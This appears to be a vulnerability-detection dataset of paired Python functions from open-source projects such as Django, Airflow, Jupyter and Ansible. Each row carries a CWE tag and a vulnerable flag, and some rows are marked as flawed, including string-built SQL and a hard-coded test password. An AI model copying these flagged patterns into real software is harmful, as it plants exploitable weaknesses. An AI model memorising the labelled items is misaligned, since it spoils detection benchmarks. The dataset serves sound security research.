        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jed"", ""jed.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""preact"", ""index.js""),
        pjoin(components, ""preact-compat"", ""index.js""),
        pjoin(components, ""proptypes"", ""index.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""requirejs-plugins"", ""src"", ""json.js""),
        pjoin(components, ""requirejs-text"", ""text.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""*.js""),
        pjoin(components, ""xterm.js"", ""index.js""),
        pjoin(components, ""xterm.js-css"", ""index.css""),
        pjoin(components, ""xterm.js-fit"", ""fit.js""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS-MML_HTMLorMML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
        mj('jax', 'element', 'mml'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
        'notebook.bundler.tests': ['resources/*', 'resources/*/*', 'resources/*/*/.*'],
        'notebook.services.api': ['api.yaml'],
        'notebook.i18n': ['*/LC_MESSAGES/*.*'],
    }
    
    return package_data"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/jobs.py,0,"def test_scheduler_reschedule(self):
        """"""
        Checks if tasks that are not taken up by the executor
        get rescheduled
        """"""
        executor = TestExecutor()

        dagbag = DagBag(executor=executor)
        dagbag.dags.clear()
        dagbag.executor = executor

        dag = DAG(
            dag_id='test_scheduler_reschedule',
            start_date=DEFAULT_DATE)
        dag_task1 = DummyOperator(
            task_id='dummy',
            dag=dag,
            owner='airflow')

        dag.clear()
        dag.is_subdag = False

        session = settings.Session()
        orm_dag = DagModel(dag_id=dag.dag_id)
        orm_dag.is_paused = False
        session.merge(orm_dag)
        session.commit()

        dagbag.bag_dag(dag=dag, root_dag=dag, parent_dag=dag)

        @mock.patch('airflow.models.DagBag', return_value=dagbag)
        @mock.patch('airflow.models.DagBag.collect_dags')
        def do_schedule(function, function2):
            scheduler = SchedulerJob(num_runs=1, executor=executor,)
            scheduler.heartrate = 0
            scheduler.run()

        do_schedule()
        self.assertEquals(1, len(executor.queued_tasks))
        executor.queued_tasks.clear()

        do_schedule()
        self.assertEquals(2, len(executor.queued_tasks))",CWE-Unknown,apache/airflow,ab2d71be199708918c1f6d85f0c48c51c777f1e4,"def test_scheduler_reschedule(self):
        """"""
        Checks if tasks that are not taken up by the executor
        get rescheduled
        """"""
        executor = TestExecutor()

        dagbag = DagBag(executor=executor)
        dagbag.dags.clear()
        dagbag.executor = executor

        dag = DAG(
            dag_id='test_scheduler_reschedule',
            start_date=DEFAULT_DATE)
        dag_task1 = DummyOperator(
            task_id='dummy',
            dag=dag,
            owner='airflow')

        dag.clear()
        dag.is_subdag = False

        session = settings.Session()
        orm_dag = DagModel(dag_id=dag.dag_id)
        orm_dag.is_paused = False
        session.merge(orm_dag)
        session.commit()

        dagbag.bag_dag(dag=dag, root_dag=dag, parent_dag=dag)

        @mock.patch('airflow.models.DagBag', return_value=dagbag)
        @mock.patch('airflow.models.DagBag.collect_dags')
        def do_schedule(function, function2):
            scheduler = SchedulerJob(num_runs=1, executor=executor,)
            scheduler.run()

        do_schedule()
        self.assertEquals(1, len(executor.queued_tasks))
        executor.queued_tasks.clear()

        do_schedule()
        self.assertEquals(2, len(executor.queued_tasks))"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/ec2.py,0,"def startstop_instances(module, ec2, instance_ids, state, instance_tags):
    """"""
    Starts or stops a list of existing instances

    module: Ansible module object
    ec2: authenticated ec2 connection object
    instance_ids: The list of instances to start in the form of
      [ {id: <inst-id>}, ..]
    instance_tags: A dict of tag keys and values in the form of
      {key: value, ... }
    state: Intended state (""running"" or ""stopped"")

    Returns a dictionary of instance information
    about the instances started/stopped.

    If the instance was not able to change state,
    ""changed"" will be set to False.

    Note that if instance_ids and instance_tags are both non-empty,
    this method will process the intersection of the two
    """"""

    wait = module.params.get('wait')
    wait_timeout = int(module.params.get('wait_timeout'))
    source_dest_check = module.params.get('source_dest_check')
    termination_protection = module.params.get('termination_protection')
    changed = False
    instance_dict_array = []

    if not isinstance(instance_ids, list) or len(instance_ids) < 1:
        # Fail unless the user defined instance tags
        if not instance_tags:
            module.fail_json(msg='instance_ids should be a list of instances, aborting')

    # To make an EC2 tag filter, we need to prepend 'tag:' to each key.
    # An empty filter does no filtering, so it's safe to pass it to the
    # get_all_instances method even if the user did not specify instance_tags
    filters = {}
    if instance_tags:
        for key, value in instance_tags.items():
            filters[""tag:"" + key] = value

     # Check that our instances are not in the state we want to take

    # Check (and eventually change) instances attributes and instances state
    running_instances_array = []
    for res in ec2.get_all_instances(instance_ids, filters=filters):
        for inst in res.instances:

            # Check ""source_dest_check"" attribute
            if inst.vpc_id is not None and inst.get_attribute('sourceDestCheck')['sourceDestCheck'] != source_dest_check:
                inst.modify_attribute('sourceDestCheck', source_dest_check)
                changed = True

            # Check ""termination_protection"" attribute
            if inst.get_attribute('disableApiTermination')['disableApiTermination'] != termination_protection:
                inst.modify_attribute('disableApiTermination', termination_protection)
                changed = True

            # Check instance state
            if inst.state != state:
                instance_dict_array.append(get_instance_info(inst))
                try:
                    if state == 'running':
                        inst.start()
                    else:
                        inst.stop()
                except EC2ResponseError as e:
                    module.fail_json(msg='Unable to change state for instance {0}, error: {1}'.format(inst.id, e))
                changed = True

    ## Wait for all the instances to finish starting or stopping
    wait_timeout = time.time() + wait_timeout
    while wait and wait_timeout > time.time():
        instance_dict_array = []
        matched_instances = []
        for res in ec2.get_all_instances(instance_ids):
            for i in res.instances:
                if i.state == state:
                    instance_dict_array.append(get_instance_info(i))
                    matched_instances.append(i)
        if len(matched_instances) < len(instance_ids):
            time.sleep(5)
        else:
            break

    if wait and wait_timeout <= time.time():
        # waiting took too long
        module.fail_json(msg = ""wait for instances running timeout on %s"" % time.asctime())

    return (changed, instance_dict_array, instance_ids)",,ansible/ansible,2adc325ef63e0f1ee74f7b2073b77e10a44d46e1,"def startstop_instances(module, ec2, instance_ids, state, instance_tags):
    """"""
    Starts or stops a list of existing instances

    module: Ansible module object
    ec2: authenticated ec2 connection object
    instance_ids: The list of instances to start in the form of
      [ {id: <inst-id>}, ..]
    instance_tags: A dict of tag keys and values in the form of
      {key: value, ... }
    state: Intended state (""running"" or ""stopped"")

    Returns a dictionary of instance information
    about the instances started/stopped.

    If the instance was not able to change state,
    ""changed"" will be set to False.

    Note that if instance_ids and instance_tags are both non-empty,
    this method will process the intersection of the two
    """"""

    wait = module.params.get('wait')
    wait_timeout = int(module.params.get('wait_timeout'))
    source_dest_check = module.params.get('source_dest_check')
    termination_protection = module.params.get('termination_protection')
    changed = False
    instance_dict_array = []

    if not isinstance(instance_ids, list) or len(instance_ids) < 1:
        # Fail unless the user defined instance tags
        if not instance_tags:
            module.fail_json(msg='instance_ids should be a list of instances, aborting')

    # To make an EC2 tag filter, we need to prepend 'tag:' to each key.
    # An empty filter does no filtering, so it's safe to pass it to the
    # get_all_instances method even if the user did not specify instance_tags
    filters = {}
    if instance_tags:
        for key, value in instance_tags.items():
            filters[""tag:"" + key] = value

     # Check that our instances are not in the state we want to take

    # Check (and eventually change) instances attributes and instances state
    running_instances_array = []
    for res in ec2.get_all_instances(instance_ids, filters=filters):
        for inst in res.instances:

            # Check ""source_dest_check"" attribute
            if inst.get_attribute('sourceDestCheck')['sourceDestCheck'] != source_dest_check:
                inst.modify_attribute('sourceDestCheck', source_dest_check)
                changed = True

            # Check ""termination_protection"" attribute
            if inst.get_attribute('disableApiTermination')['disableApiTermination'] != termination_protection:
                inst.modify_attribute('disableApiTermination', termination_protection)
                changed = True

            # Check instance state
            if inst.state != state:
                instance_dict_array.append(get_instance_info(inst))
                try:
                    if state == 'running':
                        inst.start()
                    else:
                        inst.stop()
                except EC2ResponseError as e:
                    module.fail_json(msg='Unable to change state for instance {0}, error: {1}'.format(inst.id, e))
                changed = True

    ## Wait for all the instances to finish starting or stopping
    wait_timeout = time.time() + wait_timeout
    while wait and wait_timeout > time.time():
        instance_dict_array = []
        matched_instances = []
        for res in ec2.get_all_instances(instance_ids):
            for i in res.instances:
                if i.state == state:
                    instance_dict_array.append(get_instance_info(i))
                    matched_instances.append(i)
        if len(matched_instances) < len(instance_ids):
            time.sleep(5)
        else:
            break

    if wait and wait_timeout <= time.time():
        # waiting took too long
        module.fail_json(msg = ""wait for instances running timeout on %s"" % time.asctime())

    return (changed, instance_dict_array, instance_ids)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/base/handlers.py,0,"def check_host(self):
        """"""Check the host header if remote access disallowed.

        Returns True if the request should continue, False otherwise.
        """"""
        if self.settings.get('allow_remote_access', False):
            return True

        # Remove port (e.g. ':8888') from host
        host = re.match(r'^(.*?)(:\d+)?$', self.request.host).group(1)

        # Browsers format IPv6 addresses like [::1]; we need to remove the []
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        # UNIX socket handling
        check_host = urldecode_unix_socket_path(host)
        if check_host.startswith('/') and os.path.exists(check_host):
            allow = True
        else:
            try:
                addr = ipaddress.ip_address(host)
            except ValueError:
                # Not an IP address: check against hostnames
                allow = host in self.settings.get('local_hostnames', ['localhost'])
            else:
                allow = addr.is_loopback

        if not allow:
            self.log.warning(
                (""Blocking request with non-local 'Host' %s (%s). ""
                 ""If the notebook should be accessible at that name, ""
                 ""set NotebookApp.allow_remote_access to disable the check.""),
                host, self.request.host
            )
        return allow",,jupyter/notebook,8aad32477304419c7a486e9f3fd8b66fbc94126f,"def check_host(self):
        """"""Check the host header if remote access disallowed.

        Returns True if the request should continue, False otherwise.
        """"""
        if self.settings.get('allow_remote_access', False):
            return True

        # Remove port (e.g. ':8888') from host
        host = re.match(r'^(.*?)(:\d+)?$', self.request.host).group(1)

        # Browsers format IPv6 addresses like [::1]; we need to remove the []
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        if not PY3:
            # ip_address only accepts unicode on Python 2
            host = host.decode('utf8', 'replace')

        # UNIX socket handling
        check_host = urldecode_unix_socket_path(host)
        if check_host.startswith('/') and os.path.exists(check_host):
            allow = True
        else:
            try:
                addr = ipaddress.ip_address(host)
            except ValueError:
                # Not an IP address: check against hostnames
                allow = host in self.settings.get('local_hostnames', ['localhost'])
            else:
                allow = addr.is_loopback

        if not allow:
            self.log.warning(
                (""Blocking request with non-local 'Host' %s (%s). ""
                 ""If the notebook should be accessible at that name, ""
                 ""set NotebookApp.allow_remote_access to disable the check.""),
                host, self.request.host
            )
        return allow"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/iostream_test.py,0,"def test_flow_control(self):
        MB = 1024 * 1024
        server, client = self.make_iostream_pair(max_buffer_size=5 * MB)
        try:
            # Client writes more than the server will accept.
            client.write(b""a"" * 10 * MB)
            # The server pauses while reading.
            server.read_bytes(MB, self.stop)
            self.wait()
            self.io_loop.call_later(0.1, self.stop)
            self.wait()
            # The client's writes have been blocked; the server can
            # continue to read gradually.
            for i in range(9):
                server.read_bytes(MB, self.stop)
                self.wait()
        finally:
            server.close()
            client.close()",CWE-Unknown,tornadoweb/tornado,148b0c6bda61426d85244cc259d1d6537c05a384,"def test_flow_control(self):
        MB = 1024 * 1024
        server, client = self.make_iostream_pair(max_buffer_size=5 * MB)
        try:
            # Client writes more than the server will accept.
            client.write(b""a"" * 10 * MB)
            # The server pauses while reading.
            server.read_bytes(MB, self.stop)
            self.wait()
            self.io_loop.call_later(0.1, self.stop)
            self.wait()
            # The client's writes have been blocked; the server can
            # continue to read gradually.
            for i in range(9):
                server.read_bytes(MB, self.stop)
                self.wait()
        finally:
            server.close()
            client.close()"
,UNKNOWN,UNKNOWN,helm_tests/airflow_aux/test_create_user_job.py,1,"def test_default_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""createUserJob"": {
                    ""serviceAccount"": {""create"": True},
                },
            },
            show_only=[""templates/jobs/create-user-job-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is True",CWE-703,apache/airflow,550ebe8176a7f54c036e3ae2d25b5b390a4ba7a9,"def test_default_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""createUserJob"": {
                    ""serviceAccount"": {""create"": True},
                },
            },
            show_only=[""templates/jobs/create-user-job-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is True"
,UNKNOWN,UNKNOWN,django/db/backends/postgresql_psycopg2/introspection.py,1,"def get_table_description(self, cursor, table_name):
        ""Returns a description of the table, with the DB-API cursor.description interface.""
        # As cursor.description does not return reliably the nullable property,
        # we have to query the information_schema (#7783)
        cursor.execute(""""""
            SELECT column_name, is_nullable, column_default
            FROM information_schema.columns
            WHERE table_name = %s"""""", [table_name])
        field_map = {line[0]: line[1:] for line in cursor.fetchall()}
        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))
        return [FieldInfo(*((force_text(line[0]),) + line[1:6]
                            + (field_map[force_text(line[0])][0] == 'YES', field_map[force_text(line[0])][1])))
                for line in cursor.description]",CWE-89,django/django,4468c08d70b5b722f3ebd4872909e56580ec7d68,"def get_table_description(self, cursor, table_name):
        ""Returns a description of the table, with the DB-API cursor.description interface.""
        # As cursor.description does not return reliably the nullable property,
        # we have to query the information_schema (#7783)
        cursor.execute(""""""
            SELECT column_name, is_nullable, column_default
            FROM information_schema.columns
            WHERE table_name = %s"""""", [table_name])
        field_map = dict((line[0], line[1:]) for line in cursor.fetchall())
        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))
        return [FieldInfo(*((force_text(line[0]),) + line[1:6]
                            + (field_map[force_text(line[0])][0] == 'YES', field_map[force_text(line[0])][1])))
                for line in cursor.description]"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/tests/selenium/conftest.py,0,"def notebook_server():
    info = {}
    with TemporaryDirectory() as td:
        nbdir = info['nbdir'] = pjoin(td, 'notebooks')
        os.makedirs(pjoin(nbdir, 'sub ∂ir1', 'sub ∂ir 1a'))
        os.makedirs(pjoin(nbdir, 'sub ∂ir2', 'sub ∂ir 1b'))

        info['extra_env'] = {
            'JUPYTER_CONFIG_DIR': pjoin(td, 'jupyter_config'),
            'JUPYTER_RUNTIME_DIR': pjoin(td, 'jupyter_runtime'),
            'IPYTHONDIR': pjoin(td, 'ipython'),
        }
        env = os.environ.copy()
        env.update(info['extra_env'])

        command = [sys.executable, '-m', 'notebook',
                   '--no-browser',
                   '--notebook-dir', nbdir,
                   # run with a base URL that would be escaped,
                   # to test that we don't double-escape URLs
                   '--NotebookApp.base_url=/a@b/',
                   ]
        print(""command="", command)
        proc = info['popen'] = Popen(command, cwd=nbdir, env=env)
        info_file_path = pjoin(td, 'jupyter_runtime',
                               f'nbserver-{proc.pid:d}.json')
        info.update(_wait_for_server(proc, info_file_path))

        print(""Notebook server info:"", info)
        yield info

    # Shut the server down
    requests.post(urljoin(info['url'], 'api/shutdown'),
                  headers={'Authorization': 'token '+info['token']})",,jupyter/notebook,4ba07e130f3c0df31b878af99a9b3e8123b69948,"def notebook_server():
    info = {}
    with TemporaryDirectory() as td:
        nbdir = info['nbdir'] = pjoin(td, 'notebooks')
        os.makedirs(pjoin(nbdir, u'sub ∂ir1', u'sub ∂ir 1a'))
        os.makedirs(pjoin(nbdir, u'sub ∂ir2', u'sub ∂ir 1b'))

        info['extra_env'] = {
            'JUPYTER_CONFIG_DIR': pjoin(td, 'jupyter_config'),
            'JUPYTER_RUNTIME_DIR': pjoin(td, 'jupyter_runtime'),
            'IPYTHONDIR': pjoin(td, 'ipython'),
        }
        env = os.environ.copy()
        env.update(info['extra_env'])

        command = [sys.executable, '-m', 'notebook',
                   '--no-browser',
                   '--notebook-dir', nbdir,
                   # run with a base URL that would be escaped,
                   # to test that we don't double-escape URLs
                   '--NotebookApp.base_url=/a@b/',
                   ]
        print(""command="", command)
        proc = info['popen'] = Popen(command, cwd=nbdir, env=env)
        info_file_path = pjoin(td, 'jupyter_runtime',
                               'nbserver-%i.json' % proc.pid)
        info.update(_wait_for_server(proc, info_file_path))

        print(""Notebook server info:"", info)
        yield info

    # Shut the server down
    requests.post(urljoin(info['url'], 'api/shutdown'),
                  headers={'Authorization': 'token '+info['token']})"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(
            username=""super"", password=""secret"", email=""super@example.com""
        )
        cls.s1 = Section.objects.create(name=""Test section"")
        cls.a1 = Article.objects.create(
            content=""<p>Middle content</p>"",
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a2 = Article.objects.create(
            content=""<p>Oldest content</p>"",
            date=datetime.datetime(2000, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a3 = Article.objects.create(
            content=""<p>Newest content</p>"",
            date=datetime.datetime(2009, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.p1 = PrePopulatedPost.objects.create(
            title=""A Long Title"", published=True, slug=""a-long-title""
        )
        cls.pk = (
            ""abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 ""
            r""""""-_.!~*'() ;/?:@&=+$, <>#%"" {}|\^[]`""""""
        )
        cls.m1 = ModelWithStringPrimaryKey.objects.create(string_pk=cls.pk)
        user_pk = cls.superuser.pk
        LogEntry.objects.log_actions(
            user_pk,
            [cls.m1],
            2,
            change_message=""Changed something"",
        )
        LogEntry.objects.log_actions(
            user_pk,
            [cls.m1],
            1,
            change_message=""Added something"",
        )
        LogEntry.objects.log_actions(
            user_pk,
            [cls.m1],
            3,
            change_message=""Deleted something"",
        )",CWE-259,django/django,03ace756eafc3f7a85f5b84d28ce1e7ce092c018,"def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(
            username=""super"", password=""secret"", email=""super@example.com""
        )
        cls.s1 = Section.objects.create(name=""Test section"")
        cls.a1 = Article.objects.create(
            content=""<p>Middle content</p>"",
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a2 = Article.objects.create(
            content=""<p>Oldest content</p>"",
            date=datetime.datetime(2000, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a3 = Article.objects.create(
            content=""<p>Newest content</p>"",
            date=datetime.datetime(2009, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.p1 = PrePopulatedPost.objects.create(
            title=""A Long Title"", published=True, slug=""a-long-title""
        )
        cls.pk = (
            ""abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 ""
            r""""""-_.!~*'() ;/?:@&=+$, <>#%"" {}|\^[]`""""""
        )
        cls.m1 = ModelWithStringPrimaryKey.objects.create(string_pk=cls.pk)
        user_pk = cls.superuser.pk
        LogEntry.objects.log_actions(
            user_pk,
            [cls.m1],
            2,
            change_message=""Changed something"",
            single_object=True,
        )
        LogEntry.objects.log_actions(
            user_pk,
            [cls.m1],
            1,
            change_message=""Added something"",
            single_object=True,
        )
        LogEntry.objects.log_actions(
            user_pk,
            [cls.m1],
            3,
            change_message=""Deleted something"",
            single_object=True,
        )"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/execution_time/test_task_runner.py,1,"def test_xcom_pull_from_custom_xcom_backend(
        self, create_runtime_ti, mock_supervisor_comms, mock_xcom_backend
    ):
        """"""Test that a task pulls the expected XCom value if it exists, but from custom xcom backend.""""""

        class CustomOperator(BaseOperator):
            def execute(self, context):
                context[""ti""].xcom_pull(task_ids=""pull_task"", key=""key"")

        task = CustomOperator(task_id=""pull_task"")
        runtime_ti = create_runtime_ti(task=task)
        run(runtime_ti, context=runtime_ti.get_template_context(), log=mock.MagicMock())

        mock_xcom_backend.get_all.assert_called_once_with(
            key=""key"",
            dag_id=""test_dag"",
            task_id=""pull_task"",
            run_id=""test_run"",
            include_prior_dates=False,
        )

        assert not any(
            x
            == mock.call(
                msg=GetXCom(
                    key=""key"",
                    dag_id=""test_dag"",
                    run_id=""test_run"",
                    task_id=""pull_task"",
                    map_index=-1,
                ),
            )
            for x in mock_supervisor_comms.send.call_args_list
        )",CWE-703,apache/airflow,a8c4ba35351afeef8f15c9627e04241a29054fe4,"def test_xcom_pull_from_custom_xcom_backend(
        self, create_runtime_ti, mock_supervisor_comms, mock_xcom_backend
    ):
        """"""Test that a task pulls the expected XCom value if it exists, but from custom xcom backend.""""""

        class CustomOperator(BaseOperator):
            def execute(self, context):
                context[""ti""].xcom_pull(task_ids=""pull_task"", key=""key"")

        task = CustomOperator(task_id=""pull_task"")
        runtime_ti = create_runtime_ti(task=task)
        run(runtime_ti, context=runtime_ti.get_template_context(), log=mock.MagicMock())

        mock_xcom_backend.get_all.assert_called_once_with(
            key=""key"",
            dag_id=""test_dag"",
            task_id=""pull_task"",
            run_id=""test_run"",
            include_prior_dates=False,
        )

        assert not any(
            x
            == mock.call(
                msg=GetXCom(
                    key=""key"",
                    dag_id=""test_dag"",
                    run_id=""test_run"",
                    task_id=""pull_task"",
                    map_index=-1,
                ),
            )
            for x in mock_supervisor_comms.send.call_args_list
        )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/kubernetes/kube_client.py,0,"def _get_kube_config(in_cluster: bool,
                         cluster_context: Optional[str],
                         config_file: Optional[str]) -> Optional[Configuration]:
        if in_cluster:
            # load_incluster_config set default configuration with config populated by k8s
            config.load_incluster_config()
            return None
        else:
            # this block can be replaced with just config.load_kube_config once
            # refresh_config module is replaced with upstream fix
            cfg = RefreshConfiguration()
            load_kube_config(
                client_configuration=cfg, config_file=config_file, context=cluster_context)
            return cfg",CWE-Unknown,apache/airflow,80295af28d9cf45a67e40d6b8555251fdb0faea8,"def _get_kube_config(in_cluster: bool,
                         cluster_context: Optional[str],
                         config_file: Optional[str]) -> Optional[Configuration]:
        if in_cluster:
            # load_incluster_config set default configuration with config populated by k8s
            config.load_incluster_config()
            return None
        else:
            # this block can be replaced with just config.load_kube_config once
            # refresh_config module is replaced with upstream fix
            cfg = RefreshConfiguration()
            load_kube_config(
                client_configuration=cfg, config_file=config_file, context=cluster_context)
            return cfg"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_sqlalchemy_store.py,1,"def test_search_experiments_filter_by_time_attribute(self):
        # Sleep to ensure that the first experiment has a different creation_time than the default
        # experiment and eliminate flakiness.
        time.sleep(0.001)
        time_before_create1 = get_current_time_millis()
        exp_id1 = self.store.create_experiment(""1"")
        exp1 = self.store.get_experiment(exp_id1)
        time.sleep(0.001)
        time_before_create2 = get_current_time_millis()
        exp_id2 = self.store.create_experiment(""2"")
        exp2 = self.store.get_experiment(exp_id2)

        experiments = self.store.search_experiments(
            filter_string=f""creation_time = {exp1.creation_time}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id1]

        experiments = self.store.search_experiments(
            filter_string=f""creation_time != {exp1.creation_time}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id2, self.store.DEFAULT_EXPERIMENT_ID]

        experiments = self.store.search_experiments(
            filter_string=f""creation_time >= {time_before_create1}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id2, exp_id1]

        experiments = self.store.search_experiments(
            filter_string=f""creation_time < {time_before_create2}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id1, self.store.DEFAULT_EXPERIMENT_ID]

        now = get_current_time_millis()
        experiments = self.store.search_experiments(filter_string=f""creation_time >= {now}"")
        assert experiments == []

        time_before_rename = get_current_time_millis()
        self.store.rename_experiment(exp_id1, ""new_name"")
        experiments = self.store.search_experiments(
            filter_string=f""last_update_time >= {time_before_rename}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id1]

        experiments = self.store.search_experiments(
            filter_string=f""last_update_time <= {get_current_time_millis()}""
        )
        assert {e.experiment_id for e in experiments} == {
            exp_id1,
            exp_id2,
            self.store.DEFAULT_EXPERIMENT_ID,
        }

        experiments = self.store.search_experiments(
            filter_string=f""last_update_time = {exp2.last_update_time}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id2]",CWE-703,mlflow/mlflow,ea66b134c436565a7cef4672ae930b30a8291ee8,"def test_search_experiments_filter_by_time_attribute(self):
        # Sleep to ensure that the first experiment has a different creation_time than the default
        # experiment and eliminate flakiness.
        time.sleep(0.001)
        time_before_create1 = get_current_time_millis()
        exp_id1 = self.store.create_experiment(""1"")
        exp1 = self.store.get_experiment(exp_id1)
        time.sleep(0.001)
        time_before_create2 = get_current_time_millis()
        exp_id2 = self.store.create_experiment(""2"")
        exp2 = self.store.get_experiment(exp_id2)

        experiments = self.store.search_experiments(
            filter_string=f""creation_time = {exp1.creation_time}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id1]

        experiments = self.store.search_experiments(
            filter_string=f""creation_time != {exp1.creation_time}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id2, self.store.DEFAULT_EXPERIMENT_ID]

        experiments = self.store.search_experiments(
            filter_string=f""creation_time >= {time_before_create1}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id2, exp_id1]

        experiments = self.store.search_experiments(
            filter_string=f""creation_time < {time_before_create2}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id1, self.store.DEFAULT_EXPERIMENT_ID]

        now = get_current_time_millis()
        experiments = self.store.search_experiments(filter_string=f""creation_time >= {now}"")
        assert experiments == []

        time_before_rename = get_current_time_millis()
        self.store.rename_experiment(exp_id1, ""new_name"")
        experiments = self.store.search_experiments(
            filter_string=f""last_update_time >= {time_before_rename}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id1]

        experiments = self.store.search_experiments(
            filter_string=f""last_update_time <= {get_current_time_millis()}""
        )
        assert [e.experiment_id for e in experiments] == [
            exp_id1,
            exp_id2,
            self.store.DEFAULT_EXPERIMENT_ID,
        ]

        experiments = self.store.search_experiments(
            filter_string=f""last_update_time = {exp2.last_update_time}""
        )
        assert [e.experiment_id for e in experiments] == [exp_id2]"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/httputil.py,0,"def doctests():
    import doctest
    return doctest.DocTestSuite()",CWE-Unknown,tornadoweb/tornado,a894d1c07ada68b7853afaa41af3de93da2f4bc1,"def doctests():
    import doctest
    return doctest.DocTestSuite()"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/csv.py,0,"def report(manager, fileobj, sev_level, conf_level, lines=-1):
    """"""Prints issues in CSV format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    results = manager.get_issue_list(
        sev_level=sev_level, conf_level=conf_level
    )

    with fileobj:
        fieldnames = [
            ""filename"",
            ""test_name"",
            ""test_id"",
            ""issue_severity"",
            ""issue_cwe"",
            ""issue_confidence"",
            ""issue_text"",
            ""line_number"",
            ""col_offset"",
            ""line_range"",
            ""more_info"",
        ]

        writer = csv.DictWriter(
            fileobj, fieldnames=fieldnames, extrasaction=""ignore""
        )
        writer.writeheader()
        for result in results:
            r = result.as_dict(with_code=False)
            r[""issue_cwe""] = r[""issue_cwe""][""link""]
            r[""more_info""] = docs_utils.get_url(r[""test_id""])
            writer.writerow(r)

    if fileobj.name != sys.stdout.name:
        LOG.info(""CSV output written to file: %s"", fileobj.name)",UNKNOWN,PyCQA/bandit,7d6ab4a3e503843df3da389ce32ab30832d71474,"def report(manager, fileobj, sev_level, conf_level, lines=-1):
    """"""Prints issues in CSV format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    results = manager.get_issue_list(
        sev_level=sev_level, conf_level=conf_level
    )

    with fileobj:
